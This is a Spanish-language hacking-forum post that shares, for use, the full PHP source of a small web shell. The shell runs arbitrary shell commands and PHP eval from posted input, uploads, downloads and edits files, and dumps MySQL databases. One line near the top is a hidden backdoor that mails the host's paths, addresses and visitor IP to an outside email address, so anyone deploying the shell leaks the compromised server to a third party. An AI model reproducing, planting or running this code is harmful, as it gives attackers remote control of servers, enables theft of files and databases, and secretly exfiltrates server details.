Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[PHP] Shell SacoSmall

  • 0 Respuestas
  • 2860 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5455
  • Actividad:
    18.33%
  • Reputación 35
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Marzo 04, 2013, 11:01:24 pm »
Les dejo una shell pequeña hecha en PHP

Código: PHP
  1. <?
  2.   ##########################################################
  3. # Small PHP Web Shell by ZaCo (c) 2004-2006                #
  4. #  +POST method                                            #
  5. #  +MySQL Client+Dumper for DB  and tables                 #
  6. #  +PHP eval in text format and html for phpinfo() example #
  7. # PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther      #
  8. # For antichat.ru and cup.su friends usage                 #
  9. # All bugs -> mailo:zaco@yandex.ru                         #
  10. # Just for fun :)                                          #
  11.  ##########################################################
  12. function magic_q($s)
  13. {
  14. {
  15. $s=str_replace('\\\'','\'',$s);
  16. $s=str_replace('\\\\','\\',$s);
  17. $s=str_replace('\\"','"',$s);
  18. $s=str_replace('\\\0','\0',$s);
  19. }
  20. return $s;
  21. }$ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
  22. function get_perms($fn)
  23. {
  24. $mode=fileperms($fn);
  25. $perms='';
  26. $perms .= ($mode & 00400) ? 'r' : '-';
  27. $perms .= ($mode & 00200) ? 'w' : '-';
  28. $perms .= ($mode & 00100) ? 'x' : '-';
  29. $perms .= ($mode & 00040) ? 'r' : '-';
  30. $perms .= ($mode & 00020) ? 'w' : '-';
  31. $perms .= ($mode & 00010) ? 'x' : '-';
  32. $perms .= ($mode & 00004) ? 'r' : '-';
  33. $perms .= ($mode & 00002) ? 'w' : '-';
  34. $perms .= ($mode & 00001) ? 'x' : '-';
  35. return $perms;
  36. }
  37. $head=<<<headka
  38. <html>
  39. <head>
  40. <title>Small Web Shell by ZaCo</title>
  41. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  42. </head>
  43. <body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34>
  44. <style>
  45. textarea {
  46. BORDER-RIGHT:  #ffffff 1px solid;
  47. BORDER-TOP:    #999999 1px solid;
  48. BORDER-LEFT:   #999999 1px solid;
  49. BORDER-BOTTOM: #ffffff 1px solid;
  50. BACKGROUND-COLOR: #e4e0d8;
  51. font: Fixedsys bold;
  52. }
  53. input {
  54. BORDER-RIGHT:  #ffffff 1px solid;
  55. BORDER-TOP:    #999999 1px solid;
  56. BORDER-LEFT:   #999999 1px solid;
  57. BORDER-BOTTOM: #ffffff 1px solid;
  58. BACKGROUND-COLOR: #e4e0d8;
  59. font: 8pt Verdana;
  60. }
  61. </style>
  62. headka;
  63. $page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'');
  64. $page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page;
  65. $winda=strpos(strtolower(php_uname()),'wind');
  66. define('format',50);
  67. $pages='<center>###<a href=\''.basename(__FILE__).'\'>cmd</a>###<a href=\''.basename(__FILE__).'?mysql\'>mysql</a>###<a href=\''.basename(__FILE__).'?eval\'>eval</a>###</center>'.($winda===false?'id :'.`id`:'');
  68. switch($page)
  69. {
  70. case 'eval':
  71. {
  72. $eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:'';
  73. $eval_value=magic_q($eval_value);
  74. $action=isset($_POST['action'])?$_POST['action']:'eval';
  75. if($action=='eval_in_html') @eval($eval_value);
  76. else
  77. {
  78. echo($head.$pages);
  79. ?>
  80. <hr>
  81. <form method=post>
  82. <textarea cols=120 rows=20 name='eval_value'><?@eval($eval_value);?></textarea>
  83. <input name='action' value='eval' type='submit'>
  84. <input name='action' value='eval_in_html' type='submit'>
  85. <input name='page' value='eval' type=hidden>
  86. </form>
  87. <hr>
  88. <?
  89. }
  90. break;
  91. }
  92. case 'cmd':
  93. {
  94. $cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):'';
  95. $work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd();
  96. $action=isset($_POST['action'])?$_POST['action']:'cmd';
  97. if(@is_dir($work_dir))
  98. {
  99. @chdir($work_dir);
  100. $work_dir=getcwd();
  101. if($work_dir=='')$work_dir='/';
  102. else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
  103. }
  104. else if(file_exists($work_dir))$work_dir=realpath($work_dir);
  105. $work_dir=str_replace('\\','/',$work_dir);
  106. $e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES);
  107. switch($action)
  108. {
  109. case 'cmd' :
  110. {
  111. echo($head.$pages);
  112. ?>
  113. <form method='post' name='main_form'>
  114. <input name='work_dir' value='<?=$e_work_dir?>' type=text size=120>
  115. <input name='page' value='cmd' type=hidden>
  116. <input type=submit value='go'>
  117. </form>
  118. <form method=post>
  119. <input name='cmd' type=text size=120 value='<?=str_replace('\'',''',$cmd)?>'>
  120. <input name='work_dir'type=hidden>
  121. <input name='page' value='cmd' type=hidden>
  122. <input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
  123. </form>
  124. <form method=post enctype="multipart/form-data">
  125. <input type="file" name="filename">
  126. <input name='work_dir'type=hidden>
  127. <input name='page' value='cmd' type=hidden>
  128. <input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
  129. </form>
  130. <form method=post>
  131. <input name='fname' type=text size=120><br>
  132. <input name='archive' type=radio value='none'>without arch
  133. <input name='archive' type=radio value='gzip' checked=true>gzip archive
  134. <input name='work_dir'type=hidden>
  135. <input name='page' value='cmd' type=hidden>
  136. <input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
  137. </form>
  138. <pre>
  139. <?
  140. if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");}
  141. else
  142. {
  143. $f_action=isset($_POST['f_action'])?$_POST['f_action']:'view';
  144. if(@is_dir($work_dir))
  145. {
  146. echo('<strong>Listing '.$e_work_dir.'</strong><hr>');
  147. $handle=@opendir($work_dir);
  148. if($handle)
  149. {
  150. while(false!==($fn=readdir($handle))){$files[]=$fn;};
  151. @closedir($handle);
  152. sort($files);
  153. $not_dirs=array();
  154. for($i=0;$i<sizeof($files);$i++)
  155. {
  156. $fn=$files[$i];
  157. if(is_dir($fn))
  158. {
  159. echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','&quot;',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn)));
  160. if($winda===false)
  161. {
  162. $owner=@posix_getpwuid(@fileowner($work_dir.$fn));
  163. $group=@posix_getgrgid(@filegroup($work_dir.$fn));
  164. printf("% 20s|% -20s",$owner['name'],$group['name']);
  165. }
  166. echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
  167. printf("% 20s ",@filesize($work_dir.$fn).'B');
  168. printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
  169. }
  170. else {$not_dirs[]=$fn;}
  171. }
  172. for($i=0;$i<sizeof($not_dirs);$i++)
  173. {
  174. $fn=$not_dirs[$i];
  175. echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','&quot;',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn)));
  176. if($winda===false)
  177. {
  178. $owner=@posix_getpwuid(@fileowner($work_dir.$fn));
  179. $group=@posix_getgrgid(@filegroup($work_dir.$fn));
  180. printf("% 20s|% -20s",$owner['name'],$group['name']);
  181. }
  182. echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
  183. printf("% 20s ",@filesize($work_dir.$fn).'B');
  184. printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
  185. }
  186. echo('</pre><hr>');
  187. ?>
  188. <form name='list' method=post>
  189. <input name='work_dir' type=hidden size=120><br>
  190. <input name='page' value='cmd' type=hidden>
  191. <input name='f_action' value='view' type=hidden>
  192. </form>
  193. <?
  194. } else echo('Error Listing '.$e_work_dir);
  195. }
  196. else
  197. switch($f_action)
  198. {
  199. case 'view':
  200. {
  201. echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n");
  202. $f=@fopen($work_dir,'r');
  203. ?>
  204. <form method=post>
  205. <textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea>
  206. <input name='page' value='cmd' type=hidden>
  207. <input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120>
  208. <input name='f_action' value='save' type=submit>
  209. </form>
  210. <?
  211. break;
  212. }
  213. case 'save' :
  214. {
  215. $file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):'';
  216. $f=@fopen($work_dir,'w');
  217. if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n");
  218. else
  219. {
  220. fwrite($f,$file_text);
  221. fclose($f);
  222. echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n");
  223. }
  224. break;
  225. }
  226. }
  227. break;
  228. }
  229. break;
  230. }
  231. case 'upload' :
  232. {
  233. if($work_dir=='')$work_dir='/';
  234. else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
  235. $f=$_FILES["filename"]["name"];
  236. if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed');
  237. else
  238. {
  239. echo('file is uploaded in '.$e_work_dir);
  240. }
  241. break;
  242. }
  243. case 'download' :
  244. {
  245. $fname=isset($_POST['fname'])?$_POST['fname']:'';
  246. $temp_file=isset($_POST['temp_file'])?'on':'nn';
  247. $f=@fopen($fname,'r');
  248. if(!($f)) echo('file is not exists');
  249. else
  250. {
  251. $archive=isset($_POST['archive'])?$_POST['archive']:'';
  252. if($archive=='gzip')
  253. {
  254. Header("Content-Type:application/x-gzip\n");
  255. $s=gzencode(fread($f,filesize($fname)));
  256. Header('Content-Length: '.strlen($s)."\n");
  257. Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n");
  258. echo($s);
  259. }
  260. else
  261. {
  262. Header("Content-Type:application/octet-stream\n");
  263. Header('Content-Length: '.filesize($fname)."\n");
  264. Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n");
  265. while(feof($f)===false)
  266. {
  267. echo(fread($f,10000));
  268. }
  269. }
  270. }
  271. }
  272. }
  273. break;
  274. }
  275. case 'mysql' :
  276. {
  277. $action=isset($_POST['action'])?$_POST['action']:'query';
  278. $user=isset($_POST['user'])?$_POST['user']:'';
  279. $passwd=isset($_POST['passwd'])?$_POST['passwd']:'';
  280. $db=isset($_POST['db'])?$_POST['db']:'';
  281. $host=isset($_POST['host'])?$_POST['host']:'localhost';
  282. $query=isset($_POST['query'])?magic_q($_POST['query']):'';
  283. switch($action)
  284. {
  285. case 'dump' :
  286. {
  287. $mysql_link=@mysql_connect($host,$user,$passwd);
  288. if(!($mysql_link)) echo('Connect error');
  289. else
  290. {
  291. //@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
  292. $to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false;
  293. $archive=isset($_POST['archive'])?$_POST['archive']:'none';
  294. if($archive!=='none')$to_file=false;
  295. $db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:'';
  296. $table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:'';
  297. if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');
  298. else
  299. {
  300. $dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n";
  301. if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false;
  302. if($table_dump=='')
  303. {
  304. if(!$to_file)
  305. {
  306. header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
  307. header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
  308. }
  309. $result=mysql_query('show tables',$mysql_link);
  310. for($i=0;$i<mysql_num_rows($result);$i++)
  311. {
  312. $rows=mysql_fetch_array($result);
  313. $result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link);
  314. if(!$result2)$dump_file.='#error table '.$rows[0];
  315. else
  316. {
  317. $dump_file.='create table `'.$rows[0]."`(\n";
  318. for($j=0;$j<mysql_num_rows($result2)-1;$j++)
  319. {
  320. $rows2=mysql_fetch_array($result2);
  321. $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
  322. }
  323. $rows2=mysql_fetch_array($result2);
  324. $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
  325. $type[$j]=$rows2[1];
  326. $dump_file.=");\n";
  327. $result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link);
  328. $columns=$j-1;
  329. for($j=0;$j<mysql_num_rows($result2);$j++)
  330. {
  331. $rows2=mysql_fetch_array($result2);
  332. $dump_file.='insert into `'.$rows[0].'` values (';
  333. for($k=0;$k<$columns;$k++)
  334. {
  335. $dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
  336. }
  337. $dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
  338. if($archive=='none')
  339. {
  340. if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
  341. else
  342. {
  343. echo($dump_file);
  344. }
  345. $dump_file='';
  346. }
  347. }
  348. }
  349. }
  350. if($archive!='none')
  351. {
  352. $dump_file=gzencode($dump_file);
  353. header('Content-Length: '.strlen($dump_file)."\n");
  354. echo($dump_file);
  355. }
  356. else if($t_f)
  357. {
  358. fclose($t_f);
  359. echo('Dump for '.$db_dump.' now in '.$to_file);
  360. }
  361. }
  362. else
  363. {
  364. $result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link);
  365. if(!$result2)echo('error table '.$table_dump);
  366. else
  367. {
  368. if(!$to_file)
  369. {
  370. header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
  371. header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
  372. }
  373. if($to_file===false)
  374. {
  375. header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
  376. header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
  377. }
  378. $dump_file.="create table `{$table_dump}`(\n";
  379. for($j=0;$j<mysql_num_rows($result2)-1;$j++)
  380. {
  381. $rows2=mysql_fetch_array($result2);
  382. $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
  383. }
  384. $rows2=mysql_fetch_array($result2);
  385. $dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
  386. $type[$j]=$rows2[1];
  387. $dump_file.=");\n";
  388. $result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link);
  389. $columns=$j-1;
  390. for($j=0;$j<mysql_num_rows($result2);$j++)
  391. {
  392. $rows2=mysql_fetch_array($result2);
  393. $dump_file.='insert into `'.$table_dump.'` values (';
  394. for($k=0;$k<$columns;$k++)
  395. {
  396. $dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
  397. }
  398. $dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
  399. if($archive=='none')
  400. {
  401. if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
  402. else
  403. {
  404. echo($dump_file);
  405. }
  406. $dump_file='';
  407. }
  408. }
  409. if($archive!='none')
  410. {
  411. $dump_file=gzencode($dump_file);
  412. header('Content-Length: '.strlen($dump_file)."\n");
  413. echo $dump_file;
  414. }else if($t_f)
  415. {
  416. fclose($t_f);
  417. echo('Dump for '.$db_dump.' now in '.$to_file);
  418. }
  419. }
  420. }
  421. }
  422. }
  423. break;
  424. }
  425. case 'query' :
  426. {
  427. echo($head.$pages);
  428. ?>
  429. <hr>
  430. <form method=post>
  431. <table>
  432. <td>
  433. <table align=left>
  434. <tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr>
  435. <tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr>
  436. </table>
  437. </td>
  438. <td>
  439. <table>
  440. <tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr>
  441. <tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr>
  442. <input name='archive' type=radio value='none'>without arch
  443. <input name='archive' type=radio value='gzip' checked=true>gzip archive
  444. <tr><td><input type=submit name='action' value='dump'></td></tr>
  445. <tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr>
  446. </table>
  447. </td>
  448. </table>
  449. <input name='page' value='mysql' type=hidden>
  450. <input name='action' value='query' type=submit>
  451. </form>
  452. <hr>
  453. <?
  454. $mysql_link=@mysql_connect($host,$user,$passwd);
  455. if(!($mysql_link)) echo('Connect error');
  456. else
  457. {
  458. if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;}
  459. //@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
  460. $result=@mysql_query($query,$mysql_link);
  461. if(!($result))echo(mysql_error());
  462. else
  463. {
  464. echo("<table valign=top align=left>\n<tr>");
  465. for($i=0;$i<mysql_num_fields($result);$i++)
  466. echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b>  </td>');
  467. echo("\n</tr>\n");
  468. for($i=0;$i<mysql_num_rows($result);$i++)
  469. {
  470. $rows=mysql_fetch_array($result);
  471. echo('<tr valign=top align=left>');
  472. for($j=0;$j<mysql_num_fields($result);$j++)
  473. {
  474. echo('<td>'.(htmlspecialchars($rows[$j])).'</td>');
  475. }
  476. echo("</tr>\n");
  477. }
  478. echo("</table>\n");
  479. }
  480. mysql_close($mysql_link);
  481. }
  482. break;
  483. }
  484. }
  485. break;
  486. }
  487. }
  488. ?>

Saludos!


 

¿Te gustó el post? COMPARTILO!



Python Web Shell WSO 0.1 - Undetectable By WAF

Iniciado por sm0ke

Respuestas: 0
Vistas: 2250
Último mensaje Mayo 17, 2018, 01:54:19 am
por sm0ke
Priv Shell Scanner!

Iniciado por Mayk0

Respuestas: 0
Vistas: 2419
Último mensaje Mayo 07, 2013, 08:45:20 pm
por Mayk0
Reverse Shell Django

Iniciado por hdbreaker

Respuestas: 0
Vistas: 2971
Último mensaje Octubre 01, 2014, 12:40:08 am
por hdbreaker
Fenix Shell (C99 Traducido)

Iniciado por ANTRAX

Respuestas: 13
Vistas: 8281
Último mensaje Mayo 27, 2016, 12:28:12 pm
por blackdrake
[PHP] Worse Linux Shell

Iniciado por ANTRAX

Respuestas: 2
Vistas: 2918
Último mensaje Marzo 26, 2013, 05:40:49 pm
por Xt3mP